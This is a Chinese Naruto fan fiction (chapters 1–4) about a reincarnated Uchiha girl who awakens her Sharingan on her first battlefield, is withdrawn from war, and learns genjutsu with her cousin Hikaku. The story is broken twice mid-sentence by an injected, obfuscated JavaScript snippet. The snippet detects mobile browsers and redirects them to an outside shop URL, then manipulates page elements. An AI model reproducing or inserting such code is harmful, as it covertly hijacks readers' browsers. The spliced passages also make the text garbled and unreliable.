《[火影]金鱼不知道》 1. 开眼 六岁那年,我被送上了战场。 这件事的一周前,有一个小插曲。 我的手里剑擦着族长家的小儿子宇智波泉奈衣服飞了过去,把他的衣服划破了一道口子。 比我大几个月、已经上过好几次战场的宇智波泉奈表情甚至带着几分惊恐,就跟见了鬼一样,大概是在奇怪我的手里剑到底是从哪里飞出来的。 好问题,我也想知道。 当时族长家的几个儿子看我的眼神很恐怖,这让我无比想念族长家不在场的大儿子,至少他会因为我只是个弱小无助的普通小孩子拦一下他的几个弟弟——毕竟是长子,考虑的东西就比较多,不像我们这些小孩子,只需要在训练场有仇报仇有怨报怨就是了。 这句话好像有点不对劲。但不管了,总之我在泉奈那几个哥哥恐怖的表情下装作肚子痛跑了。 没记错的话他那个炸毛二哥斑以后好像成了我们族长,还变成了很恐怖一大boss。除此之外,他还是个弟控。 痛遁之余,我开始担心今后在宇智波的生活会不会很困难了。 ——哈哈,结果根本不用操心那么久远的未来。 过两天,我那个族长得力助手的爸爸被田岛族长叫去说了会话,回来后他就长吁短叹地看着在家用毛笔练字的我。 “……所以说,到底发生什么了?”我真的很讨厌被人盯着做某件事,被盯着字都写得难看几个度。 我有点想把笔直接扔掉跑路了。 “千织啊,我在担心你。” “担心我什么?” “明明体术忍术都还没练到家,你怎么会伤到族长家的孩子呢?族长和我说你现在的水平够上战场了。” 我一句粗口憋在嗓子眼差点骂出来,什么叫伤到宇智波泉奈,也就不小心把衣服割破了……吧? 我开始怀疑自己的记忆,那柄手里剑莫非真的比我以为的破坏力大,伤到了宇智波泉奈? 总而言之,在出发的前一天晚上,爸爸还在安慰我:“战场上机灵点,跟紧大部队,不要落单。你就是个小孩,天塌下来还有大人呢。” 说得好,那为什么我们这些小孩还要上战场? 我面无表情地用眼神质疑爸爸,他在我的目光下落荒而逃。 第二天出发,我被编入堂哥火核在的小队。 他看见我在的时候深深吸了一口气,好像是惊恐,又像是有点安心。 我问他:“怎么了,看到是我失望了?” ——这句话听起来有点怪,有种下一刻就会变身霸总的感觉。但不管了,这个世界应该没人懂我的点。 火核的父亲是我爸爸的哥哥。他是我堂哥,我们两家比邻而居,他没少指导过我忍术。 他对我的水平心知肚明。 “没有,”火核按了按我的脑袋,他就这点不好,跟我爸学的坏习惯,“不如说有点安心了,在我这里我至少会注意保护你。” 我哦了一声:“不要有这么大负担,你又不是我的亲哥,没义务把这当作你的责任。” 如果不是火核的队友把他拦住,他大概想冲过来揍我一顿。 “你该叫我哥哥,千织。”冷静下来后,火核恢复了平时那副冷静自持的表情,双手抱在胸前,冷冰冰地和我说。 我说好,哥哥。 他:…… 他的表情实在太好玩了,我没忍住笑了一声。 火核怔了一下,眉眼柔软下来,随即又注意到我们实在没个上战场的样子,当即变得凶狠地样子去吼他的队友们,让他们警戒起来,发什么呆。 我也跟着一起开始排查周边环境,心想他正经起来还是挺有安全感的。 ——就是对队友好凶。 第二天,我们小队就遇袭了。 动画片果然是动画片,某些程度上在死亡受伤上还是经过了加工,不会让人感同身受。 我本来以为自己早就做好了心理准备,但是我看到昨天还在自己面前说话的人脖子突然被破开,被心脏泵出的血液飙得几米高,我被刚好淋了个正着。 ……血还是热的。 ——我还是没办法接受。 火核冲过来把呆住的我推开,抽刀拦住了突然现身的敌人。金铁相交的声音听起来比指甲刮黑板的声音还恐怖。 有那么一瞬间我感觉自己还不如死了算了。 但我不想死。 战场上,不想被杀,就得杀人。 迈出这一步似乎很难,所以就算早就知道自己会上战场,我也条件反射地去回避这件事。 但是求生的本能比思维更快,回过神的时候我手里正拿着刀,刀顺着敌人盔甲的缝隙刺穿了对方。 我抬头去看敌人,那是个比我高了大概一个头的少年,他的目光惊恐地看着我,口里涌出了很多血,似乎想说什么。 “什么?”我问他。 同时我也在想,人怎么会流这么多血。 他用行动回答了我的问题:举起刀不死心地想要杀掉我。 身体再一次支配了思考,我把他踢开了。 好多的血就这么顺着我的刀往下流,浸湿了忍刀的柄卷,浸得满手都是。 真的好多血。 敌袭解决了,大一点的孩子们在命令下开始探查敌人的尸体。 我失神地把刀扔到地上,甚至来不及去思考自己到底做了什么,就被叫过去站在一边听着几个成年忍者们的教导。 敌人是猿飞一族的,我认出了对方的族徽。 手上黏糊糊的,血已经冷掉了,胸口似乎也被这团黏糊糊的东西堵住。 好脏,好恶心。 我不想待在这里了。 想哭,但不能哭。 战场上没有孩子,只有忍者。 “千织,擦擦脸。”火核的声音从一边传来,他递过来一张被水打湿的帕子。 我转头呆呆看他,问他:“什么?” 他的表情突然顿住了,一瞬间闪过一丝古怪。 但他什么都没说,只是叹了一口气,然后把打湿的手帕糊在我的脸上,擦掉我脸上的血。 “只要不出声,就没人知道你在哭。”最后他很小声地和我说。 我明白了他的意思,抓紧了手帕,埋下头把眼泪擦掉。 之后的路上大家都很沉默,期间又遇到过几次敌袭。 解决敌人、出发、解决敌人,再出发。 我的梦里都是那些死掉的人,身上似乎萦绕着一股驱之不散的血臭味。 抵达大部队的驻扎点后,领队的成年忍者突然把我叫了出来,让我跟他走。 我不明白为什么,但是战场上命令是必须遵守的,火核也让我放心去。 于是我跟着他在驻扎的营地里七绕八拐,然后到了族长的营帐中。 我茫然地跟着一起拜见了田岛族长,领队指着我说:“这孩子在战斗中开启了写轮眼。” 族长很惊讶。 我也很惊讶。 我突然想起火核递给我帕子时那一瞬间的不自然,原来是开写轮眼了。 族长听了带队忍者的详细汇报。 “这样啊,”族长原本严肃的表情好了不少,他向我招招手让我坐下,“我记得你是奏的孩子?” 宇智波奏,我爸的名字。 我点点头。 族长又问了我在战场上的表现,而后转来问我是否还习惯。 习惯个鬼,这种事能习惯才怪了。 我厌恶地皱了下眉,胃底猛地翻腾起来。这种事是条件反射的,根本忍不住,我不得不抬手捂着嘴遮住干呕的动作。 帐内一时间沉默得有些尴尬。 两个成年人的注视如芒刺在背,我有些心惊胆战,勉强承诺道:“……我能适应。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107842|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田岛族长似乎在思考什么,面上神色未动。 最后族长沉吟了片刻,和我说:“好孩子,不用害怕,过几天你就和运送伤员的队伍一起回家吧。” “为什么?” 我不解地问族长,但族长只说我太小了,我这样的孩子不可以就这么死在战场上。 好奇怪,我不可以,你的孩子们就可以吗? 而且我和他最小的孩子明明同岁,去年起宇智波泉奈就已经上战场了。 就这样,我在战场上待了没多久,就平安回到了族地。 一起回来的大人和我妈妈说了几句话,她知道我开了眼后眼神变得十分复杂。 所以到底是为什么? 开了写轮眼难道不更应该留在战场上吗?这可是更好的武力值。 很快我就知道了原因。 那是发生在战争结束后的事。 有一个听起来很糟糕的消息,族长家的大儿子死掉了。 战争结束后,就是战亡族人的下葬。 我远远望着族长家剩下的几个儿子里年纪小的两个在棺椁旁哭得十分伤心,族长夫人也在,她十分克制地没有什么表现,但脸色却难看极了。 我又看看身边的火核。 火核问我怎么了。 我说还好你回来了,哥。然后说你要是也在战场上回不来了,我是不会哭的。 他回了我一声意味不明的“啊”,看向了族长一家人。 然后他收回目光:“你也回来了,回来就好。” 回家后,爸爸就对我说:“千织,我要和你说一件事。” “什么?下次我要跟着去主战场?” 我猜测着这次我被提前送回战场的原因,思来想去大概是族长觉得开了眼的我需要重新特训一番再上战场。 “不是。族里评估了你在战场上的表现后,决定不再让你上战场……”这似乎是个好消息,也不是个好消息,“而且,你太小了,会被针对。” 我被否认了上战场的价值?为什么?因为我哭了?还是那次和田岛族长的谈话? 爸爸的表情很无奈:“还有一件事……” 我有种不好的预感。 而后我听他继续说:“田岛大人与我们商议过了,决定让你和他家的孩子定亲。” 这说法有点奇怪,这个消息也让我瞬间跟被雷炸了一样。 好小众的语言,我有点听不太懂。 “……那么,是族长家的哪个孩子?” 先不说我愿不愿意这回事,族长家的孩子,我没记错的话…… 说起来有点地狱,但这个婚大概是结不成的。 “田岛大人的意思是,等你们长大后再决定人选。” “啊?” 爸爸揉了揉我的脑袋,语气苦恼:“千织,你开了写轮眼啊。” “怎么会在这时候开呢,如果再晚几年,也不会这样。” 我恍然大悟。 写轮眼代表着资质,宇智波族内开眼的概率也不是很高的。 一般而言,天赋越好的父母,生出的孩子天赋也会高。 而且在一群没有开写轮眼的幼年忍者中,开了写轮眼的我被针对的风险更高,很可能会被围杀。 六岁就能开眼,代表着难得一见的天赋。 如果我是个男孩,这辈子大概就和战场绑定了。 但我不是,而且第一次上战场的表现还不是很好。 我就奇怪了,其他人第一次上战场能够这么理所当然地接受厮杀吗? 想起族长夫人家一个又一个出生的孩子,我有些不知道该说什么。 这个该死的年代。 早先在战场上已被遗忘的、血溅了满脸的感觉,双手被血浸湿的感觉突然重新回到了身上,就好像几万只蚂蚁在身上爬,又可怖,又恶心。 我转头哇地一声吐了出来。 2. 竹蜻蜓 “这些大人真的太讨厌了。”练习忍术休息的间隙,我坐在院子边对着火核吐苦水。 “你还在因为那件事生气吗?”火核问我。 “难道不该生气吗?”我皱着眉问他。 火核点点头,又摇头:“一开始我也很生气,但是你可以活下来。” 我想说些反驳的话,但看见火核认真的神情,沉默了一下:“你觉得我会死在战场上吗?” 火核又摸了摸我的脑袋:“你想的东西太多了,千织。战场上不需要多余的思考。而且你排斥那里。” “……我控制不住。” 曾经的我生活在一个平和的社会中,我连切菜切到手都要找朋友安慰,那时的我从来没有想过自己会有一天拿着刀具上战场,去做剥夺旁人生命的一方。 “但是,我也不想未来就这么被决定好,那种事本来是很遥远的,明明可以等到很久以后再考虑。”我还是没忍住,表达了对这件事的反感。 于是我又听见了火核的叹息:“可是千织,我们的未来早就写好了啊。” “上战场,要么死去,要么看着身边的人死去,然后长大、组成新的家庭、继续上战场,直到死去的那一天。” 一眼望得到头的人生。 火核的话惊呆了我。平时他总爱以哥哥的身份自居,可我总觉得他也还是个孩子的年龄,没想到他会说出这种话。 “那意义呢?这么生活的意义又在哪里?”不同于我知道未来的变化,他不知道未来战乱会结束,为什么他可以像一个没事人一样接受这一切。 火核又一次叹气,他坐到我的身边,与我平视:“所以我说你想得太多了。没有什么意义,一定要说的话,我想活下去。” “除了战争之外,我有重视的人、喜欢的东西,我喜欢学习忍术后的感觉,还有太多没有体验过但是想体验的经历,我不想就这么死去,”火核说完这些,突然问了我一个不相关的问题,“千织,你喜欢吃什么?” 我低头认真思考起来。 我在吃的东西上没有忌口。曾经我有很多爱吃的东西,可是战国年代贫乏的物资限制了当下烹饪水平的发展,所以我对这里的食物没有什么热情。 要让我找个喜欢的食物出来,有点难。 火核的声音听起来很无奈:“这个问题也需要这么谨慎地思考吗?” 我摇了摇头:“没有特别喜欢的。” “好吧,无趣的小鬼。”火核说完,拉起我的手往外走。 我被拉得踉跄了一下,有些恼怒:“你干什么啊,突然说我就算了,怎么还动手。” “你还没出去玩过吧?”火核一句话让我闭上了嘴。 他说的出去当然不是离开家门,我早几年就会自己去族里的训练场和同族小伙伴们互殴了。 火核说的是离开族地。 离开族地,这个词太遥远了。 族地的出入口有精锐的成年忍者们看守,其中一个目的就是防止我们这些幼崽跑出安全范围。 一开始我还因为斑能出去和柱间交朋友这事误以为能够随便进出,去年被抓回家一次后就老实了。 唯二的两次离开族地,一次是妈妈带着我出门,另外一次就是上战场。 “……等一下,你可以出去吗?”我怀疑地看着火核,他也就比我大两岁。 火核回过头来,挑了挑眉:“你已经是个上过战场的忍者了,千织。” 这个时代,对于忍者们而言,大名政令所规范的成年界限毫无意义。 划分身份的界限是有没有上过战场,上过战场后,我们就失去小孩子的特权,成为了忍者。 我“哦”了一声,不再说话。果然,这次出门,没有人再拦我。 火核说:“平时我们会有非战争的雇佣,也是需要出门的——我完成过几次。” 他熟门熟路地带我来到临近的镇上。 镇子不算繁荣,但也生机勃勃,无论在什么年代什么环境,人们总要生活。火核带着我逛街,问我有没有喜欢的东西。 我走马观花地看着,没什么想要的,街上卖的都是一些常见的手工制品。 以前的我大概会有兴趣。 火核一脸恨铁不成钢的表情。 我没办法理解他的心理,以前我磕磕绊绊学结印也没见他这样。 想到他大概是好心,我们又刚好经过一个卖竹制玩具的小摊子,我便停了下来,看到了一个有些在意的东西。 “怎么了?”火核停下里问我,微微低头。 我指了指摊子上的竹筒,里面装了几个竹蜻蜓,遥远的童年记忆似乎在这一刻苏醒了。 小时候最想要的是一个放在脑袋上就能飞上天的竹蜻蜓,后来得到了竹蜻蜓,却不能带自己飞。 然后现在我到了个外星人可以捏陨石上天的世界。 不知道这算不算是地狱笑话了。 “竹蜻蜓?”火核大概是奇怪我为什么会要这么一个简单的玩具,但还是从竹筒里拿起一个,找老板付了钱递给我。 我接过竹蜻蜓,捏着细长的竹杆转了转。 “不玩吗?”火核问我。 我摇摇头。 “真搞不懂你。”他虽然这么说着,眉眼间却露出些笑意出来,牵着我走动时动作似乎都轻快了些。 我微微落后他一些,看着他的后脑勺,突然想说些东西:“火核。” 火核回过头,这次他表情很正经:“叫我哥哥。” ——看在竹蜻蜓的份上,好吧。 “哥哥,”我说道,“说不定把它放在脑袋上,就可以飞起来。” 我在追忆自己的另一个童年,火核怀疑我的脑子坏掉了。 他大惊失色,把手放在我的额头上:“没有发烧,也没有生病。坏了,带你出来玩结果变成这样,奏叔肯定会揍我一顿的。” 我不满地用脑袋顶了下他的掌心:“火核,你才傻了!” “叫我哥哥!” “好吧,我相信会有戴上就能飞起来的竹蜻蜓,”最后,火核坐在一家茶水店里,向我妥协,“想法很好,等你做出来的那一天。” “算了,我肯定做不出来。”有这能力我还做什么忍者啊,直接做出任意门时光机好吗? 我把竹蜻蜓放在桌边,读完店里挂着的菜牌,在没有什么吸引力的食物里犹豫片刻,随即放弃:“我都可以,哥你点吧。” 火核真的好喜欢叹气啊。 听见他又一次叹气,我悄悄瞥了他一眼,思忖着以后他成为斑的得力助手后也是这样吗? “我总觉得你没想什么好事。”火核飞快点了几样菜品,抬起手边的茶杯喝了一口。 我摇头:“没有,我在想往后该怎么办。” 火核虽然不知道他的未来,我却知道一些。那么我呢?我以后要做些什么?总不能就真的等着年纪到了结婚吧? 我直觉田岛族长对我有其他安排,只是暂时没有告诉我们。 大概是一个小孩子对着另一个孩子这么郑重其事地谈着未来的模样太过滑稽,店里有几个听见我们说话的大人笑出了声 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火核发出了一声似是讥笑的短促笑声,但是他眉宇间的笑意暴露了他心情很好的事实。 “好吧,谢谢了,千织。”火核拿走一块羊羹,又把装着樱饼和荻饼的盘子向我的方向推了推。 “……”我没说话,低头继续吃东西,好一会儿才道,“火核,谢谢。” 红豆馅的甜点确实很好吃。 ……勉强可以算喜欢。 他没有笑了,好一会儿,我才听他说道:“抱歉,千织,我只能做到这些。” 我嗯了一声。 其实我真的挺感谢他的。 他做的这些看似笨拙无意义的事,对我很重要。 吃过东西我们又逛了一会儿街,就该回族地了。 回家的路上出了个小意外。 因为我和火核看着都很小,又带着钱出来玩,所以被人当作肥羊盯上了。 离开镇子没多久,就有几个凶神恶煞的人拦住了我们的去路,想要绑架我们。 第一次遇到这种事,我不太清楚该怎么办,就去看火核。 留他们一命,我们的身份很容易暴露,但是杀人…… 遇到敌袭那天那令人作呕的感觉再度涌了上来,我抿住唇,手指微动,细长的千本已经夹在指缝间。 “千织。”火核头也没回,低低喊了声我的名字,而后伸手盖住了我已经捏住千本的手。 我惊愕地睁大眼睛看他,他却拉着我直接绕过那些人。 那些人却仿佛什么都没看见一样,而后他们如同被控制了一半,摇摇晃晃地向镇子方向走。 “他们……”我还是不放心地回头。 火核按住我的脑袋:“不喜欢就别逼自己去做了,他们会去自首。” “……” “你什么时候学的?”我想明白了,这是幻术。 他听了我的问题后又一次叹气:“不要着急,你肯定能学。” 我想想也是,毕竟我都开眼了。 想起这个,我又问他:“你不在意吗?” 他一脸疑惑:“在意什么?” “我的眼睛。”因为是在族外,所以我也没有说得很清楚,但火核听明白了。 他一脸大感荒谬的表情:“我在意这个干什么,你是我妹妹。” ……好吧。 虽然我觉得我才应该姐姐,但火核真的是个好哥哥。 3. 幻术 火核不在意写轮眼的事,有的是人在意。 这个人指的是宇智波泉奈。 他大概不清楚定亲这回事,不然我敢肯定他也会躲着我走。 ——主要是这玩意儿真的很儿戏和离谱! 我只要一想到就觉得尴尬。 最近我去训练场少了,毕竟族长家的儿子们经常出现在那里。 有训练需求我就去隔壁找火核。 所以宇智波泉奈找上门来的时候,我站在家门口和他撞了个正着,人都傻了。 “嗯……我以为上次的事已经过去了?”我当时以为他是为了之前手里剑事件来的。 男孩子的发育比女孩子晚,所以虽然他大我几个月,但和我差不多高。 和我差不多高的小豆丁一脸茫然:“上次的事?” “……”看来他已经忘了,是我不该主动提起这件事。 但提都提了,还有什么办法。 “听说你上次受伤了,抱歉,当时我手里剑失误了。” 我这么一说,泉奈也想起当时的事,脸上的表情极为丰富。 “……你不用道歉,会受伤是我的问题,”他闷声回答,“是我没有察觉到攻击,哥哥们已经因为这件事给我加训了。” 啊这,所以真的受伤了?当初那支手里剑到底怎么过去的啊? 听到泉奈被他几个哥哥加训,我真情实感地愧疚了。 那支手里剑真是害人不浅。 没有它我也不会被族长注意到然后上战场,不上战场就不会开写轮眼……等等,这个从头开始盘自己遭遇的流程有点熟悉,我得住脑,不然只会更内耗。 “不是这件事的话,你找我是为了什么?”我对他来找我的原因还是有些好奇。 提起自己的目的,泉奈的眼神凌厉起来,他十分郑重地说出了自己的来意。 “我可以问问你开眼时发生的事吗?”他问得实在太有礼貌了,这和族里小孩子们一般只服拳头的样子一点也不一样。 我以前也没怎么和泉奈他们兄弟打过交道,没有那支手里剑的话泉奈大概都不会记得我长什么样。 因此我对他们的行事作风其实一点也不了解。 就算是训练场上,我和他们都基本没有交集。上一次的意外发生后我道了歉就立刻跑路了,都没怎么和他们说上话。 不过他问我写轮眼的事我倒不是很意外。 我们一族是追逐力量的一族。就算是如此排斥战场的我,也依旧想要掌握更多的力量,这好像是刻在我们骨子里的东西一样。 更何况他和我同岁,而我开眼了。 “没什么好说的……”我不觉得自己的体验能对泉奈有帮助,按照二代目扉间的说法,写轮眼开眼需要巨大的精神刺激,泉奈和我不同,他是这个世界原本就有的人,对我而言的已经到达开眼的刺激阈值的事件对他而言可能还不够,“拓也在我面前死掉了,他的血到处都是。” 宇智波拓也和我同岁,他当时正在和我聊天,然后我就被他的血淋了满头。 鼻端似乎又出现了若隐若现的血腥味,身上似乎沾了什么东西。 我知道这都是幻觉,但还是不适地抬起手摸了一下颈侧感到黏湿的地方。 ——果不其然,什么都没有。 “之后我杀掉了一个猿飞一族的孩子——忍者”意识到自己的叙述犯了“常识性”的错误,我改了口,却也有些说不下去了,作呕的感觉再度从胃底翻腾上来,那个人死前的表情迟迟在我脑海中无法消散,“……抱歉。” 我捂着嘴跑到街边的树旁,扶着树干干呕起来。 轻巧的脚步声在身后响起,泉奈停在我身边,没有说话。 早上吃的东西很少,因为怕训练的时候会吐出来,反而方便了现在。 近乎跪在地上把胃里那些东西都吐干净后,我听见泉奈的声音,听起来他似乎有几分犹豫:“我听说了那件事……那是个忍者。” 我抬眼去看他,他唇角微抿着,还未长开的年龄使他那双圆眼显得几分柔软,此刻他的神情有些不解,又有几分担心在里面。 ——这是在安慰我吗? 但这似乎起不到安慰作用。 我当然知道那是个忍者,战场上没有小孩子,只有敌人和同伴,这是从小族里的老师长辈们就向我们灌输的概念。 如果我没有另一个世界的记忆,那就好多了,可是我有。 那天的事发生在电光火石之间,我明明记不太清整件事的发生经过,回过神来的时候刀已经刺穿了敌人。 这件事比拓也死在我的面前还让我难以接受,我清楚地记得当时我全身的感官似乎都提了好几个档,嗅觉、触觉、听觉、视觉无一不在告诉我我到底做了什么,哪怕我反复告诉自己这是一场战争也没办法走过心中的那道坎。 ——在杀死敌人的同时,我也杀掉了过去的那个自己。 这么想来,开写轮眼似乎也有道理。 “我知道。”面对泉奈的安慰,我只能这么苍白无力地回答一句。 气氛似乎有些尴尬,泉奈肉眼可见地局促了起来。 他张了张唇,似乎想要说些什么,却被人打断了。 打断他的不是住在我隔壁的堂哥,而是和火核一起走过来的族长家的第三子。 “泉奈,”对方叫了声他的名字,“你在这里做什么?” 泉奈像是被抓到错处一般慌忙回头,喊了声哥哥。 他没说自己是来问写轮眼的,显得有些紧张。不过他的哥哥并没有追问下去,只是和他说:“回去训练了。” “啊、好的。”泉奈回过神般地应了一声,向自家哥哥跑了两步后停了下来,回头看我。 我不解地看过去。 “……再见。”他的表情有些紧张。 我对他的态度有些不解,对他点点头:“嗯,再见。” 他轻轻呼出一口气,转身跑向他哥。 他的兄长表情有些好奇,用着轻飘飘的视线扫了我一眼,但什么都没说,而后回头和火核说了什么,带着自家弟弟离开了。 族长家的两兄弟结伴离开,站在路边的火核走了过来。 他一看到树边的东西,就知道发生了什么,伸手问道:“还有力气吗?” 我没说话,把手搭上去,火核从善如流地拉我起来。 “又想起来了?” “嗯。” 他没说什么这是忍者的职责这种话,拉着我往回走,在院子里找了把铲子递给我:“走吧,把你的东西处理掉。” 我哦了一声,抱着跟我差不多高的铲子,盯着他。 火核叹着气举起双手,做出投降的姿态:“好吧,我知道了,我会帮你的,你先过去,我回家拿。” 我点了点头,他就走到墙边,翻墙去了隔壁自己家。 我收回目光,带着铲子出门,走到刚才的树边,开始挖坑,准备把刚才的呕吐物填埋掉。 然后火核也带着工具来帮忙了。 刚把那堆东西埋掉,就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107844|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族人路过,好奇地看着我们:“火核、千织,你们在挖什么?” 火核抓着头发对那个大人笑了一下:“我带着妹妹种点东西。” “咦,种的什么?”对方一听也有些好奇了。 火核:…… 他卡了一下,然后笑得更大声了,掩饰自己的心虚:“是水果的种子,我们想看看能不能发芽。” “加油啊!”族人鼓励了一句,离开了。 我看向冷汗直冒明显在思考什么的火核:“你不会在想着真的种点东西吧?” “这不是当然的吗!都说出去了。”火核似乎已经在打算去买点种子了。 “……到时候就说没种出来呗,我们又不是那群千手。植物没种活很常见吧?” 火核听了反应过来:“对啊!” 见他没打算走到死胡同里,一副“对啊,还能这样”的模样,我拉了下他的袖子:“我想学幻术。” 火核有些无语地望着我:“我才刚帮你解决了你的麻烦。” 我拍了拍手里的铁铲,不满:“我也有出力。” 他一副“这不是你本来就该做的吗”的表情盯着我,显得有几分怨念。 我想了想,看着他:“求你了,哥哥。” 火核的表情有一瞬间的崩坏,他伸手扶着自己的额头按了一下:“算了,你别这样和我说话,我有点害怕。” “啊?” 他什么意思? 我还没说什么,他就把手握成拳抵在唇边轻轻咳了一下:“没办法,我就教你吧。不过我还没有写轮眼,写轮眼相关的幻术就没办法了。” 我看着他手边没被遮住的嘴角:“你这不是笑得很开心吗?” 火核僵硬了一下,这次嘴角的弧度是真的下去了。 他微微眯起眼睛,一个字一个字地叫着我的名字,有些咬牙切齿:“宇、智、波、千、织!” “嗯,我在,”我很认真地回答他,“我们什么时候开始?” 火核狠狠瞪了我一眼,转过身,恶狠狠地道:“跟我来!” “你真好,哥。”我拖着铲子过去,大声地夸他。 “你闭嘴吧!”这么说着,他却放慢了一些脚步。 幻术是独立于忍术和体术之外的东西,这玩意儿极其依赖精神力。我不知道这个依赖精神力指的是好的还是坏的,总之我觉得自己的精神状态很糟糕,但学起幻术来却轻松得不可思议。 火核对我的学习进度表示了惊叹:“是写轮眼的增幅吗?但没听说过写轮眼还有这种效果。” “大概吧。”我没好意思告诉他这大概和写轮眼没什么关系,可能是因为他妹妹每天都在努力让自己别发疯。 我花了一周就从火核那里把他掌握的幻术全学走了,他最后的表情很复杂,叹气和我说:“我没有能教你的了,剩下的你去问奏叔吧。” 我有点担心火核的心态:“你不会讨厌我吧?” 不是常有的吗,漫画里哥哥因为弟弟是个天才所以变身柠檬精,讨厌弟弟的桥段。 他愣了一下,然后我的脑袋再一次遭殃。 头发被他揉得乱糟糟的,如果不是担心他我早就还手了。 他最好祈祷不要被我抓住什么小辫子,不然我一定一个火遁吹了他的头发! 收回手的火核看着我怨恨的目光,突然笑出声了:“我妹妹是天才,我高兴还来不及呢!好了,回去吧。” 我的表情惊恐起来,这可不敢当,这个世界里的天才大多没有好下场。 4. 手帕 如果说人这一生一定会面临着某个重要的转折,那么当初不小心割伤泉奈的那枚手里剑一定是我这辈子所面临的最重要转折。 继上战场开了写轮眼后,我又在全族幻术最厉害的二长老那里学习起幻术来了。 值得一提的是田岛族长的三儿子也在,我不觉得这个安排是巧合,但火核说我想多了,他也是在我这个年龄就开始跟着二长老学习的。 不过也无所谓,其他人不知道,我却知道族长家的孩子最后只有两个活到了成年。 无论他们打的什么主意,都没用。 “啊,你是之前那个伤了泉奈的家伙。”这是他认出我后和我见面的第一句话。 “……”所以说我有时候真的觉得我们一族被人害怕是有点原因在里面的。 他没有开写轮眼,所以每次他都会提前下课,之后就是关于写轮眼所涉及的幻术的单独课程。 二长老是战场上因伤退下来的老人,开了三勾玉,在一次和千手的战争里伤了腿,再也没法站立行走。 退下战场后,他有更多时间研究幻术,结果族里就把有幻术天赋的小孩往他这里扔。在他这里学幻术的人不多,也就五六个,他也要挑弟子。 用他的话说,天赋不够,也学不会他教的东西,学族里的幻术已经够了。 “才六岁就开始追求写轮眼的力量吗,现在的孩子真是……”二长老知道我要学写轮眼的能力后,这么感叹了一句,“你的查克拉够吗?” 托我爸妈的福,我的底子还行,查克拉勉强能够。 我这么回答之后,二长老就跟噎住了一样,表情有点难以言喻。 我觉得这话没问题,回答了问题,顺便感激了一下我的父母。 我们就这么开始了短暂的师徒情。 在我跟着二长老钻研幻术的时候,战争又开始了。 我的同学们纷纷上了战场,彼时南贺川冻结的河水才刚消融,枝头的花都还没盛开。 二长老看着只有我一个人的课堂,唏嘘地感叹了一声战争。 我没去问他怎么看待忍者间的战争,我有点担心火核。 虽说我知道他能活到成年,还混到族长斑身边的位置,但我还是担心战场上的意外。 老师问我在想什么,我就说了:“我担心我哥哥受伤。” 他的眼神有点奇异,似乎想问我什么,但什么都没问。根据这一点我推测他想问的不是好话。 平平无奇的一天,他问我为什么学幻术。 想学就学了,这还有什么为什么吗? 我没这么说,我问他:“老师,为什么问这个问题?” 他说他钻研幻视的原因之一是希望有一天能够重新站起来。 我的评价是不如把希望寄予医术的发展。 不过老头子的想法确实不算有问题,顶级的幻术拥有能将幻术变为现实的能力。这我可太熟了,我们未来的族长就是靠这一招假死的。 奈何他硬件不匹配,这招得开万花筒才行。 不过这也证明了他的幻术是真的厉害,能够察觉到幻术还能有这种应用。 我用赞赏的目光看着他,二长老这个暴脾气当场露出写轮眼把我拉到幻术里到处撵:“你这是什么眼神!” “老师,说真的,你要不还是研究医术吧,我觉得这个可能性要高些。” 我差点被逐出师门。 冷静下来后,老师问我今后是不是要被派出去做探子。 “大概吧,”用幻术来探听消息真的很方便,但密探的危险性也更高,我不确定族长他们会不会把我派去做这种工作,然后我乱答他之前的问题,“老师你太没追求了,等我学好幻术离开,我就让全世界都陷入幻术,这样世界就和平了。” 老头子目瞪口呆,然后痛心疾首摇头:“又疯一个,我们宇智波真是要完了。” “又?还有比这个想法更疯的?”我惊了,未来族长在这个年代居然还有“志同道合”的人?太危险了,得想个办法…… “我的幻术老师,不过他死在战场上了。” 打扰了,对不起。 我沉默了一下,拍了拍老师的肩膀安慰他:“呃,节哀……我们这不是继承他老人家的遗志吗?” “不对,老师你居然说你老师疯了!”这绕口令一样的句子我说得顺畅无比。 二长老露出头疼的表情:“宇智波千织,你别说话,我头疼。” 这么每天往他这边跑,跑到院子里的花快谢、树上的叶子越发浓翠的时候,出征的部队回来了。 当时我正在上课,听到族里的动静有些分神。 老头子问我怎么了,我说我想去找我哥。 这回他没像上次那样忍着,问我:“你就没想过你哥哥不会活着回来?” 呸呸呸!好不吉利! 我就知道他之前没想好东西! 欺负老人太没品了,我选择露出写轮眼和老头子比幻术,结果再次被他的幻术猛捶一顿。 早晚有一天我要在幻术里耀武扬威! 因为在幻术里受了极大的刺激,我在老师家里缓了好久才缓过来。 这个时候老师家的门突然被敲响了,我有点奇怪这个时间还有谁会来,去开门后看见了族长家的三儿子。 “千织,”他神情阴郁地向我点了点头,“老师在家吗?” “嗯……在家。”我想了半天没想起他的名字,还好他问了其他事,我赶紧让开门口的位置让他进去。 他哦了一声,走了进来。与我擦肩而过时他突然停下来:“对了,我叫辉。” 我愣住了。 ——他看出来了啊。 我知道他会在很早的时候就死去,早到未来族长在漫画里以少年身份初登场时就已经连名字都没留下地死去。 所以我刻意没去记他的名字,记了就会产生联系,然后忧心他的未来。 我站在门口思考了一会儿,还是打算忘掉他的名字,然后关上门往回走。 院子里他正在和老师说话:“……以上就是这次的战况,父亲知道您不便出门,让我来和您说一下。” 